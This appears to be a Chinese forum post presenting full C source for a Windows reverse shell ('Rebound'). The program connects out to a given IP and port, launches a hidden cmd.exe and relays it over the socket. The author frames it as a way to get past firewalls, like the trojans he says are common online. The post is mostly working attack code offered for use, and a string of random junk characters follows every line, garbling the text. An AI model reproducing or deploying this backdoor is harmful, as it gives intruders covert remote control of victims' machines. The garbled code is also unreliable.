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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AW E ab  
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/* ============================== bdY:-8!3  
Rebound port in Windows NT `23][V  
By wind,2006/7 9UVT]acq  
===============================*/ }-J0cV  
#include Nu OxEyC  
#include V#b=mp  
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#pragma comment(lib,"wsock32.lib") fUGappb  
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void OutputShell(); YaL:6[6  
SOCKET sClient; OScqf]H  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s2GF*{  
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void main(int argc,char **argv) =Xg/[J%  
{ 0:>hK\F#  
WSADATA stWsaData; X:I2wJDs\  
int nRet;  jr_z ?  
SOCKADDR_IN stSaiClient,stSaiServer; f0j]!g  
"*.N'J\  
if(argc != 3) }r!+wp   
{ t=xEUOQAn  
printf("Useage:\n\rRebound DestIP DestPort\n"); #9Jr?K43  
return; 9(nq 4 HvI  
} ,lStT+A  
,i??}Wm5G  
WSAStartup(MAKEWORD(2,2),&stWsaData); .}v" `>x  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k].swvIi  
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stSaiClient.sin_family = AF_INET; E>f{j:M  
stSaiClient.sin_port = htons(0); l)dE7$H  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $B_%MfI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (ie%zrhS  
{ -*MY7t3  
printf("Bind Socket Failed!\n"); jU7[z$GX  
return; V=dOeuYd  
} g2m* Q%  
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stSaiServer.sin_family = AF_INET; w$AR  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Eu:/U*j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C}pm>(F~  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1}c'UEr%)  
{ QnD8L.Dg  
printf("Connect Error!"); iB"ji4[z  
return; abm 3q!a-  
} Um 6}h@>  
OutputShell(); d1/9 A-{  
} @ci..::5  
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void OutputShell() FRZ]E)9Z]b  
{ {_\cd.AuT  
char szBuff[1024]; oKCy,Ot<  
SECURITY_ATTRIBUTES stSecurityAttributes; /\b* oPWJ  
OSVERSIONINFO stOsversionInfo; *jbPy?%oY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !5C"`@}q>  
STARTUPINFO stStartupInfo; 2dkWzx  
char *szShell; 3 dJ362  
PROCESS_INFORMATION stProcessInformation; )LIn1o_,  
unsigned long lBytesRead; & ]] l0B  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1=C12  
2/fol TR7  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U|xHy+N  
stSecurityAttributes.lpSecurityDescriptor = 0; h !K" ;qw  
stSecurityAttributes.bInheritHandle = TRUE; n#b{  
5;HGS{`  
v-d"dC`  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); SFd_k9  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ){w{#  
GT6i9*tb #  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -5+Yz9pv[  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1' U  
stStartupInfo.wShowWindow = SW_HIDE; H.4ISmXU  
stStartupInfo.hStdInput = hReadPipe; ?L7DVwVa,I  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2=n`z) R  
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GetVersionEx(&stOsversionInfo); T+@i;M  
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switch(stOsversionInfo.dwPlatformId) &Wcz~Gx3Q  
{ (w)%2vZ^  
case 1: ; Z7!BU  
szShell = "command.com"; h7q{i|5  
break; !zF0 7.(E  
default: 5l1R")0`t_  
szShell = "cmd.exe"; 7<!x:G?C  
break; K+!e1 '  
} 4Ii5V c  
'(3 QyCD  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); IRx% L?  
7$Z_'GJ]1C  
send(sClient,szMsg,77,0); 5(J?C-Pk  
while(1) IiqqdU]  
{ ,o%by5j"^N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .,xyE--;d  
if(lBytesRead) sV,Yz3E<u$  
{ 1L4-;HYJm  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1b3k|s4   
send(sClient,szBuff,lBytesRead,0); /X.zt `  
} Lk,q~  
else SDO:Gma  
{ 'LPyh ;!f  
lBytesRead=recv(sClient,szBuff,1024,0); t e-xhJ&K  
if(lBytesRead<=0) break; F+(S-Qk1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [BD`h  
} ZAn @NA=  
} n4S`k%CI  
7WS$fUBi  
return; v{t pRL0  
}
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